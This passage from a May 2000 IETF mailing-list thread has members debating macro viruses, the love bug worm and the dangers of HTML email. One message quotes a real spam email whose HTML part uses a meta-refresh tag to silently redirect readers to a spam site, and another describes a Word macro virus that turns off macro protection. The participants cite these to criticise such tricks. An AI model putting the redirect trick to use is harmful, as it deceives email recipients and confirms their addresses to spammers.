> real-life experience.)  The VBA script turns off the option that disables
> automatically running scripts.  I kid you not!  Next time you open a Word
> document that contains a script, you won't be asked whether you 
> want to run
> it.  If you go into the options settings and set the option to disable
> running scripts, you have done nothing, because the virus script runs when
> you close the document and turns the option back off again.
> 
> At least not allowing macros to disable the don't-run-macros option seems
> reasonable to me, but it seemed to have escaped the engineers who created
> Microsoft Word.
> 
> Doug Sauder
> Software Engineer
> Broadsoft, Inc
> 
> 



From owner-ietf-outbound  Fri May 12 10:40:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA02969
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 10:40:02 -0400 (EDT)
Received: from aharp.is-net.depaul.edu (aharp.is-net.depaul.edu [140.192.91.90])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA02849
	for <ietf@ietf.org>; Fri, 12 May 2000 10:33:32 -0400 (EDT)
Received: (qmail 10338 invoked from network); 12 May 2000 14:33:06 -0000
Received: from aharp.is-net.depaul.edu (HELO depaul.edu) (140.192.91.90)
  by aharp.is-net.depaul.edu with SMTP; 12 May 2000 14:33:06 -0000
Message-ID: <391C161E.752DFC9F@depaul.edu>
Date: Fri, 12 May 2000 09:33:02 -0500
From: John Kristoff <jtk@depaul.edu>
Reply-To: jtk@aharp.is-net.depaul.edu
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: VIRUS WARNING
References: <200005111611.KAA26658@calcite.rhyolite.com> <391B139E.30B545C6@ecal.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

John Stracke wrote:
> Well, there's basic formatting:
[...]
> And even simple links (never mind forms, applets, etc.) are great for,
> say, workflow applications.  When I worked for Netscape, HR made great
> use of HTML mail in the internal network.  When I wanted to take some

Email is not the web.

John



From owner-ietf-outbound  Fri May 12 11:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA03462
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 11:00:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03118
	for <ietf@ietf.org>; Fri, 12 May 2000 10:51:43 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4CEpdx14248;
	Fri, 12 May 2000 10:51:39 -0400
Message-Id: <200005121451.e4CEpdx14248@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: jtk@aharp.is-net.depaul.edu
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Fri, 12 May 2000 09:33:02 CDT."
             <391C161E.752DFC9F@depaul.edu> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005111611.KAA26658@calcite.rhyolite.com> <391B139E.30B545C6@ecal.com>
            <391C161E.752DFC9F@depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 12 May 2000 10:51:39 -0400
X-Loop: ietf@ietf.org

On Fri, 12 May 2000 09:33:02 CDT, John Kristoff <jtk@depaul.edu>  said:
> John Stracke wrote:
> > Well, there's basic formatting:
> [...]
> > And even simple links (never mind forms, applets, etc.) are great for,
> > say, workflow applications.  When I worked for Netscape, HR made great
> > use of HTML mail in the internal network.  When I wanted to take some
> 
> Email is not the web.

On the other hand, e-mail does a MUCH better job of some things than the web
does.  In particular, if you do workflow via e-mail (especially with PGP or
other authentication/encryption), you can send the object to the next person
that needs it, and *NOT* expose it to the rest of the world.

If you do it web-based, you then have all the ugly issues of getting it onto
the webserver, setting access controls on it so that only the intended person
can get at it, etc etc etc.

Incidentally, this is exactly the same issue as "attach a file to an e-mail"
versus "send the recipient a note, copy the file to a ftp/web server, wait
for him to retrieve it, and then remember to clean it up afterwards".

Let's face it guys - unless we collectively come up with a better way to
do it, there's going to be a continued push towards having more "push" style
interaction via e-mail.  RFC1440 (Sender-Initiated File Transfer) appears
to be essentially dead, and no new contenders have arrived....
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Fri May 12 11:10:06 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA03708
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 11:10:02 -0400 (EDT)
Received: from alcove.wittsend.com (IDENT:root@mirror1.wittsend.com [130.205.0.28])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03367
	for <ietf@ietf.org>; Fri, 12 May 2000 10:59:10 -0400 (EDT)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id JAA02316;
	Fri, 12 May 2000 09:58:52 -0400
Date: Fri, 12 May 2000 09:58:52 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Jacob Palme <jpalme@DSV.SU.SE>
Cc: ietf@ietf.org
Subject: Re: VIRUS WARNING
Message-ID: <20000512095852.A1820@alcove.wittsend.com>
References: <200005111611.KAA26658@calcite.rhyolite.com> <v04210125b540adedd536@[130.237.150.138]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.1.5i
In-Reply-To: <v04210125b540adedd536@[130.237.150.138]>; from jpalme@dsv.su.se on Thu, May 11, 2000 at 08:36:52PM +0200
X-Loop: ietf@ietf.org

On Thu, May 11, 2000 at 08:36:52PM +0200, Jacob Palme wrote:
> At 10.11 -0600 0-05-11, Vernon Schryver wrote:
> > Once you restrict
> > HTML based email enough to be safe, why bother with anything more than
> > text and perhaps simple pictures?

> What is wrong with that. I use HTML-based e-mail mostly to
> inluce pictures in my messages.

> A very useful way of using HTML-based e-mail would also be
> to send out forms and fill them in via mail, but this does
> not work so well because some mailers does not handle such
> messages very good yet.

	And of course, a day after posting my earlier reply to this message,
I receive this example of how useful HTML is in E-Mail:

	[...]
] X-Mailer: DiffondiCool V3.1.1 (W95/NT) Delfino Solutions (Build: Nov  7 1998)
] Mime-Version: 1.0
] Date: Fri, 12 May 2000 21:33:03 +0800
] Content-Type: multipart/mixed; boundary="----=_NextPart_000_007F_01BDF6C7.FABAC1B0"
] Content-Transfer-Encoding: 7bit
] 
] This is a MIME Message
] 
] ------=_NextPart_000_007F_01BDF6C7.FABAC1B0
] Content-Type: text/plain; charset="iso-8859-1"
] Content-Transfer-Encoding: quoted-printable
] 
] 
] ------=_NextPart_000_007F_01BDF6C7.FABAC1B0
] Content-Type: text/html; name="unknown.htm"
] Content-Transfer-Encoding: quoted-printable
] Content-Description: unknown.htm
] Content-Disposition: inline; filename="unknown.htm"
] 
] <html><head>
] <meta http-equiv=3D"refresh" content=3D"0;URL=3Dhttp://myad.cn99.com">
] </head></html>
] 
] ------=_NextPart_000_007F_01BDF6C7.FABAC1B0--

	Well gooollllleeeyyyy.  I wonder what that piece of crap was
suppose to do.  I'll bet this spammer thought I was stupid enough to
be using an HTML enabled reader that would just bounce me right to
his spam site where he would not only hit me with his cruft but
he would also know that his E-Mail hit paydirt and he had a good
address on this host.  All without any active content at all.  Oh
well...  Guess he failed on this one.  How many chumps do you think
he might have succeeded with?

	I got hit with three copies of it (various permutations of
my addresses).  I'll probably see more before the day is out.  BTW...
According to the Received-By headers, the point of origin was in .cn,
so it will be a bloody cold day in hell before I'm able to do anything
about this clown.  Grrr...

	If people wouldn't use HTML readers, this trick wouldn't work
at all, and I wouldn't have to tolerate this cruft (yes, I know, they
would try something else but at least it wouldn't be this morally
offensive).

> -- 
> Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
> for more info see URL: http://www.dsv.su.se/jpalme/

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-outbound  Fri May 12 12:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA05540
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 12:10:02 -0400 (EDT)
Received: from psi.pair.com (psi.pair.com [209.68.1.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA05292
	for <ietf@ietf.org>; Fri, 12 May 2000 12:04:06 -0400 (EDT)
Received: from localhost (kodiak@localhost) by psi.pair.com (8.9.1/8.6.12) with ESMTP id MAA04351 for <ietf@ietf.org>; Fri, 12 May 2000 12:04:08 -0400 (EDT)
X-Envelope-To: <ietf@ietf.org>
Date: Fri, 12 May 2000 12:04:08 -0400 (EDT)
From: chris d koeberle <kodiak@flail.com>
X-Sender: kodiak@psi.pair.com
To: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-Reply-To: <200005121451.e4CEpdx14248@black-ice.cc.vt.edu>
Message-ID: <Pine.BSF.4.10.10005121152190.3415-100000@psi.pair.com>
Approved: kodiak@flail.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Fri, 12 May 2000 Valdis.Kletnieks@vt.edu wrote:
> Incidentally, this is exactly the same issue as "attach a file to an e-mail"
> versus "send the recipient a note, copy the file to a ftp/web server, wait
> for him to retrieve it, and then remember to clean it up afterwards".

Only if the e-mail client in question automatically executes the attached
file.

Indeed, I don't think any of the people who are complaining about the
"HTML in e-mail" issues would complain about someone sending an e-mail
with an HTML file as an attachment.  At least, not as I understand their
arguments against it.

At any rate, it is certainly not "exactly the same issue" - people have
expounded upon the differences already.

-=I would imagine that if 1000 Rwandan's were hacked to death AT THE EXPO,
people would sure have raised a stink.=-




From owner-ietf-outbound  Fri May 12 12:20:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA05982
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 12:20:02 -0400 (EDT)
Received: from europe.std.com (europe.std.com [199.172.62.20])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA05338
	for <ietf@ietf.org>; Fri, 12 May 2000 12:04:58 -0400 (EDT)
Received: from world.std.com (brunner@world-f.std.com [199.172.62.5])
	by europe.std.com (8.9.3/8.9.3) with ESMTP id MAA23972;
	Fri, 12 May 2000 12:04:57 -0400 (EDT)
Received: from localhost (brunner@localhost)
	by world.std.com (8.9.3/8.9.3) with SMTP id MAA27687;
	Fri, 12 May 2000 12:04:56 -0400 (EDT)
Message-Id: <200005121604.MAA27687@world.std.com>
X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol
To: ietf@ietf.org
cc: lisa@numa.niti.org
Subject: Fwd: URGENT: Los Alamos Fire: Network & Systems volunteers needed
Date: Fri, 12 May 2000 12:04:56 -0400
From: Eric Brunner <brunner@world.std.com>
X-Loop: ietf@ietf.org


The National Indian Telecommunications Institute (NITI) run Digital Council
Fires (DCF) mailing list carries the following URGENT request for 10-15
Network & Systems volunteers to assist in the Los Alamos fire response.

The originator of the request is the New Mexico Information Technology and
Software Association (NMITSA), and was sent to New Mexico regional networks
yesterday. See the body of the forwarded message for details.

IETFers who can help please drop Steen Rasmussen (steen@santafe.edu) a note.

Eric

------- Forwarded Message

>Date: Thu, 11 May 2000 20:50:54 -0600
>To: dcf@niti.
>From: Lisa Nelmida <lisa@numa.niti.org>
>Subject: Fwd: Re: URGENT: LA Fire: 10-15 Network & Systems volunteers needed
>Bcc: jade@swcp.com,Rose Ebaugh
>
>
>>User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
>>Date: Thu, 11 May 2000 16:20:56 +0000
>>Subject: Re: URGENT: LA Fire: 10-15 Network & Systems volunteers needed
>>From: Randy Burge <randyburge@nmitsa.org>
>>CC: Steen Rasmussen <steen@santafe.edu>
>>
>>Email for Steen Rasmussen correction: steen@santafe.edu [I was given an
>>incorrect email address, I believe]
>>
>> >
>> > Subject: URGENT: LA Fire: 10-15 Network & Systems volunteers needed
>> >
>> > NMITSA: New Mexico Info Tech & Software Assn: 5/11/00, 4:10 pm
>> >
>> > RESPONSE to Los Alamos Fire: REQUEST for Volunteer Assistance from NM 
>> based
>> > network and system ops professionals.
>> >
>> > If you are or know network and system professionals, please forward 
>> this email
>> > to them immediately.
>> >
>> > 10-15 people are estimated to be needed, but there may be shift work 
>> so let's
>> > bring all volunteers forward and sort out the details of need as we go.
>> >
>> >
>> > All interested people with requisite skills are urged to contact Steen
>> > Rasmussen at the Santa Fe Institute/LANL, coordinator of this project:
>> >
>> > cell phone: 505-670-6052
>> > SFI:        505-984-8800 ask for Steen
>> >
>> > email:      steen@santafe.edu
>> >
>> > This system will help coordinate family contact tracking and many other
>> > essential communication functions between the various disaster
>> > relief/assistance/assessment organizations.
>> >
>> > Please contact Steen ASAP.
>> >
>> > NMITSA will be monitoring this disaster and offering its email 
>> communication
>> > list to the cause of relief and recovery.
>> >
>> >
>> >
>> > -----------
>> > Randy Burge
>> > NMITSA: New Mexico Info Tech & Software Assn.
>> >
>> > 505-984-0622 Santa Fe office
>> > randyburge@nmitsa.org
>> > -----------
>> >

Lisa A. Nelmida
Development Director
National Indian Telecommunications Institute
110 N. Guadalupe, STE 9
Santa Fe, NM  87501
lisa@niti.org
505.986.3872 x103 (v)
505.989.4271 (f)


------- End of Forwarded Message



From owner-ietf-outbound  Fri May 12 12:40:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA06718
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 12:40:02 -0400 (EDT)
Received: from saint.heaven.net (saint.heaven.net [198.69.28.164])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06364
	for <ietf@ietf.org>; Fri, 12 May 2000 12:30:59 -0400 (EDT)
Received: (from stpeters@localhost)
	by saint.heaven.net (8.9.3/8.9.3) id MAA23199;
	Fri, 12 May 2000 12:30:58 -0400
From: "Dick St.Peters" <stpeters@NetHeaven.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14620.12737.756697.749372@saint.heaven.net>
Date: Fri, 12 May 2000 12:30:57 -0400 (EDT)
To: ietf@ietf.org
Subject: RE: VIRUS WARNING
In-Reply-To: <C7A236ACE67FD311A0650001FA7E1AE41616CF@epcc23.na2.us.ml.com>
References: <C7A236ACE67FD311A0650001FA7E1AE41616CF@epcc23.na2.us.ml.com>
X-Mailer: VM 6.72 under Emacs 19.34.1
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Castro, Edison M. (PCA) writes:
> WE HAVE TO TAKE RESPONSIBILITY FOR OUR OWN ACTIONS!!!!!!!!!!!!

Yeah, right ... when it comes to shouting, all this "blame the victim"
has gone too far.

I have users who are *illiterate*.  They can click, but they can't
read.  They can click on little pictures and listen to greetings in
their native language or view videos of relatives they haven't seen in
decades.  I refuse to believe this is bad.

Some of my illiterate users just haven't learned to read *yet*.  They
will when they're old enough to go to school.  However, it will be a
long time before they can comprehend that the computer screen is a
window into a world full of bad people who want to damage their
mommy's computer.

These users are here in the US.  That the 'love bug' worm is believed
to have originated in the Philippines should be sufficient reminder
that not every potential victim is a literate English-speaking
resident of North Americal or Europe.  It may be that technology has
no way for the network to protect villagers in Bangladesh or central
Africa.  However, reaching that conclusion and saying the network
should not try as a matter of philosophical principle are very
different.  Of course capable users should protect themselves as best
they can, but who is prepared to say that helpless users don't belong
on our Internet?

--
Dick St.Peters, stpeters@NetHeaven.com 
Gatekeeper, NetHeaven, Saratoga Springs, NY
Saratoga/Albany/Amsterdam/BoltonLanding/Cobleskill/Greenwich/
GlensFalls/LakePlacid/NorthCreek/Plattsburgh/...
    Oldest Internet service based in the Adirondack-Albany region



From owner-ietf-outbound  Fri May 12 13:00:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA07254
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 13:00:03 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06864
	for <ietf@ietf.org>; Fri, 12 May 2000 12:44:31 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id KAA18588
	for ietf@ietf.org  env-from <vjs>;
	Fri, 12 May 2000 10:44:29 -0600 (MDT)
Date: Fri, 12 May 2000 10:44:29 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005121644.KAA18588@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: Re: VIRUS WARNING
X-Loop: ietf@ietf.org

> From: chris d koeberle <kodiak@flail.com>

> ...
> Indeed, I don't think any of the people who are complaining about the
> "HTML in e-mail" issues would complain about someone sending an e-mail
> with an HTML file as an attachment.  At least, not as I understand their
> arguments against it.

Just as with sending any active MIME attachment including binary UNIX
programs, it depends on the attached HTML file and who sent it.

As as been pointed out repeatedly and as demonstrated with a concrete
example Saturday morning, attached HTML can be a significant security
problem.  I doubt that (probably porn) HTML spam was much of a security
threat, but if you think about it for a little, you can surely see how
such things can be real security problems.

The practice of sending both HTML and cleartext of supposedly the same
message reflects very poorly on those who do it intentionally and on those
who cause MUA's to trick others into doing it unintentionally.  Never mind
the security issues, but consider only the wastes of disk space, CPU
processing, network bandwidth, and the inevitable differences between the
two versions.  If the two messages were the same, then there would be no
excuse for sending both.  If they differ, then one must be wrong, and
sending both is worse than a waste.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Fri May 12 13:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA07543
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 13:10:02 -0400 (EDT)
Received: from alcove.wittsend.com (IDENT:root@mirror1.wittsend.com [130.205.0.28])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07030
	for <ietf@ietf.org>; Fri, 12 May 2000 12:50:44 -0400 (EDT)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id LAA05401;
	Fri, 12 May 2000 11:50:29 -0400
Date: Fri, 12 May 2000 11:50:29 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: chris d koeberle <kodiak@flail.com>
Cc: ietf@ietf.org
Subject: Re: VIRUS WARNING
Message-ID: <20000512115029.A4860@alcove.wittsend.com>
References: <200005121451.e4CEpdx14248@black-ice.cc.vt.edu> <Pine.BSF.4.10.10005121152190.3415-100000@psi.pair.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.1.5i
In-Reply-To: <Pine.BSF.4.10.10005121152190.3415-100000@psi.pair.com>; from kodiak@flail.com on Fri, May 12, 2000 at 12:04:08PM -0400
X-Loop: ietf@ietf.org

On Fri, May 12, 2000 at 12:04:08PM -0400, chris d koeberle wrote:
> On Fri, 12 May 2000 Valdis.Kletnieks@vt.edu wrote:
> > Incidentally, this is exactly the same issue as "attach a file to an e-mail"
> > versus "send the recipient a note, copy the file to a ftp/web server, wait
> > for him to retrieve it, and then remember to clean it up afterwards".

> Only if the e-mail client in question automatically executes the attached
> file.

> Indeed, I don't think any of the people who are complaining about the
> "HTML in e-mail" issues would complain about someone sending an e-mail
> with an HTML file as an attachment.  At least, not as I understand their
> arguments against it.

	Wrong...

	We object to is so strenuously that we've added global blocking
filters to majordomo at our site in "taboo-body".  We've had one two
many come through with a hostile java script worm in it and then
had a few dozen people complain that we're distributing viruses and
a few hundred get burned by it.  BTW...  The site in question has
over 70 mailing lists with almost 50,000 unique addresses subscribed
to one or more lists.  We can't tolerate html on the mailing lists
at all, if for no other reason than the administrative headache that
occurs when hostile content (active or not) propagates over any of the
lists.

> At any rate, it is certainly not "exactly the same issue" - people have
> expounded upon the differences already.

> -=I would imagine that if 1000 Rwandan's were hacked to death AT THE EXPO,
> people would sure have raised a stink.=-

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-outbound  Fri May 12 13:40:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA08215
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 13:40:02 -0400 (EDT)
Received: from escape.com (xelsed@escape.com [198.6.71.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08094
	for <ietf@ietf.org>; Fri, 12 May 2000 13:33:49 -0400 (EDT)
Received: from localhost (xelsed@localhost) by escape.com (8.9.0/8.9.1) with ESMTP id NAA02362; Fri, 12 May 2000 13:38:43 -0400 (EDT)
Date: Fri, 12 May 2000 13:38:43 -0400 (EDT)
From: Jeremy <xelsed@escape.com>
To: Vernon Schryver <vjs@calcite.rhyolite.com>
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING
In-Reply-To: <200005121644.KAA18588@calcite.rhyolite.com>
Message-ID: <Pine.BSI.4.21.0005121336560.6531-100000@escape.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

Can you plase pleaes stop this Virus Thread.

-jeremy


On Fri, 12 May 2000, Vernon Schryver wrote:

> > From: chris d koeberle <kodiak@flail.com>
> 
> > ...
> > Indeed, I don't think any of the people who are complaining about the
> > "HTML in e-mail" issues would complain about someone sending an e-mail
> > with an HTML file as an attachment.  At least, not as I understand their
> > arguments against it.
> 
> Just as with sending any active MIME attachment including binary UNIX
> programs, it depends on the attached HTML file and who sent it.
> 
> As as been pointed out repeatedly and as demonstrated with a concrete
> example Saturday morning, attached HTML can be a significant security
> problem.  I doubt that (probably porn) HTML spam was much of a security
> threat, but if you think about it for a little, you can surely see how
> such things can be real security problems.
> 
> The practice of sending both HTML and cleartext of supposedly the same
> message reflects very poorly on those who do it intentionally and on those
> who cause MUA's to trick others into doing it unintentionally.  Never mind
> the security issues, but consider only the wastes of disk space, CPU
> processing, network bandwidth, and the inevitable differences between the
> two versions.  If the two messages were the same, then there would be no
> excuse for sending both.  If they differ, then one must be wrong, and
> sending both is worse than a waste.
> 
> 
> Vernon Schryver    vjs@rhyolite.com
> 
> 



From owner-ietf-outbound  Fri May 12 14:00:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA08580
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 14:00:02 -0400 (EDT)
Received: from ztxmail03.ztx.compaq.com (ztxmail03.ztx.compaq.com [161.114.1.207])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08486
	for <ietf@ietf.org>; Fri, 12 May 2000 13:54:57 -0400 (EDT)
Received: by ztxmail03.ztx.compaq.com (Postfix, from userid 12345)
	id 5241A19B; Fri, 12 May 2000 12:54:28 -0500 (CDT)
Received: from excreo-gh02.reo.cpqcorp.net (excreo-gh02.reo.cpqcorp.net [16.37.150.254])
	by ztxmail03.ztx.compaq.com (Postfix) with ESMTP
	id 7E39571D; Fri, 12 May 2000 12:54:27 -0500 (CDT)
Received: by excreo-gh02.reo.cpqcorp.net with Internet Mail Service (5.5.2650.21)
	id <KZDNQ128>; Fri, 12 May 2000 18:54:26 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED9875@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: "'Dick St.Peters'" <stpeters@NetHeaven.com>, ietf@ietf.org
Subject: RE: VIRUS WARNING
Date: Fri, 12 May 2000 18:54:25 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

No offence here people, but whilst we are on the subject of Virus's can we
change the Subject Title. I don't know who you all are and I'm getting
paranoid :-)

Thanks

Jon 'Scared Little Puppy'

-----Original Message-----
From: Dick St.Peters [mailto:stpeters@NetHeaven.com]
Sent: Friday, May 12, 2000 5:31 PM
To: ietf@ietf.org
Subject: RE: VIRUS WARNING


Castro, Edison M. (PCA) writes:
> WE HAVE TO TAKE RESPONSIBILITY FOR OUR OWN ACTIONS!!!!!!!!!!!!

Yeah, right ... when it comes to shouting, all this "blame the victim"
has gone too far.

I have users who are *illiterate*.  They can click, but they can't
read.  They can click on little pictures and listen to greetings in
their native language or view videos of relatives they haven't seen in
decades.  I refuse to believe this is bad.

Some of my illiterate users just haven't learned to read *yet*.  They
will when they're old enough to go to school.  However, it will be a
long time before they can comprehend that the computer screen is a
window into a world full of bad people who want to damage their
mommy's computer.

These users are here in the US.  That the 'love bug' worm is believed
to have originated in the Philippines should be sufficient reminder
that not every potential victim is a literate English-speaking
resident of North Americal or Europe.  It may be that technology has
no way for the network to protect villagers in Bangladesh or central
Africa.  However, reaching that conclusion and saying the network
should not try as a matter of philosophical principle are very
different.  Of course capable users should protect themselves as best
they can, but who is prepared to say that helpless users don't belong
on our Internet?

--
Dick St.Peters, stpeters@NetHeaven.com 
Gatekeeper, NetHeaven, Saratoga Springs, NY
Saratoga/Albany/Amsterdam/BoltonLanding/Cobleskill/Greenwich/
GlensFalls/LakePlacid/NorthCreek/Plattsburgh/...
    Oldest Internet service based in the Adirondack-Albany region



From owner-ietf-outbound  Fri May 12 14:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA08912
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 14:10:02 -0400 (EDT)
Received: from psi.pair.com (psi.pair.com [209.68.1.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08493
	for <ietf@ietf.org>; Fri, 12 May 2000 13:54:59 -0400 (EDT)
Received: from localhost (kodiak@localhost) by psi.pair.com (8.9.1/8.6.12) with ESMTP id NAA11343 for <ietf@ietf.org>; Fri, 12 May 2000 13:54:59 -0400 (EDT)
X-Envelope-To: <ietf@ietf.org>
Date: Fri, 12 May 2000 13:54:59 -0400 (EDT)
From: chris d koeberle <kodiak@flail.com>
X-Sender: kodiak@psi.pair.com
To: ietf@ietf.org
Subject: Re: VIRUS WARNING
In-Reply-To: <200005121644.KAA18588@calcite.rhyolite.com>
Message-ID: <Pine.BSF.4.10.10005121351140.7867-100000@psi.pair.com>
Approved: kodiak@flail.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Fri, 12 May 2000, Vernon Schryver wrote:
> As as been pointed out repeatedly and as demonstrated with a concrete
> example Saturday morning, attached HTML can be a significant security
> problem.  I doubt that (probably porn) HTML spam was much of a security
> threat, but if you think about it for a little, you can surely see how
> such things can be real security problems.

I think there's some confusion in terminology, here, possibly on my part.
Some mail clients permit the sending of an HTML _message_, where other
clients will automatically parse the HTML in the message as HTML instead
of plain text.  I am trying desperately to distinguish between this
practice and the ability to attach HTML as a binary file.

Binary attached HTML presents a subset of the risks of all binary
attachments - you may, if you choose to open the attachment, be
disappointed in the results.

HTML as e-mail presents further risks for clients which are willing to
interpret the HTML (Outlook and Outlook Express both do this in their
default configuration.)

-=I would imagine that if 1000 Rwandan's were hacked to death AT THE EXPO,
people would sure have raised a stink.=-



From owner-ietf-outbound  Fri May 12 14:30:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA09219
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 14:30:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08765
	for <ietf@ietf.org>; Fri, 12 May 2000 14:05:07 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4CI58x37270
	for <ietf@ietf.org>; Fri, 12 May 2000 14:05:08 -0400
Message-Id: <200005121805.e4CI58x37270@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Fri, 12 May 2000 13:38:43 EDT."
             <Pine.BSI.4.21.0005121336560.6531-100000@escape.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <Pine.BSI.4.21.0005121336560.6531-100000@escape.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 12 May 2000 14:05:07 -0400
X-Loop: ietf@ietf.org

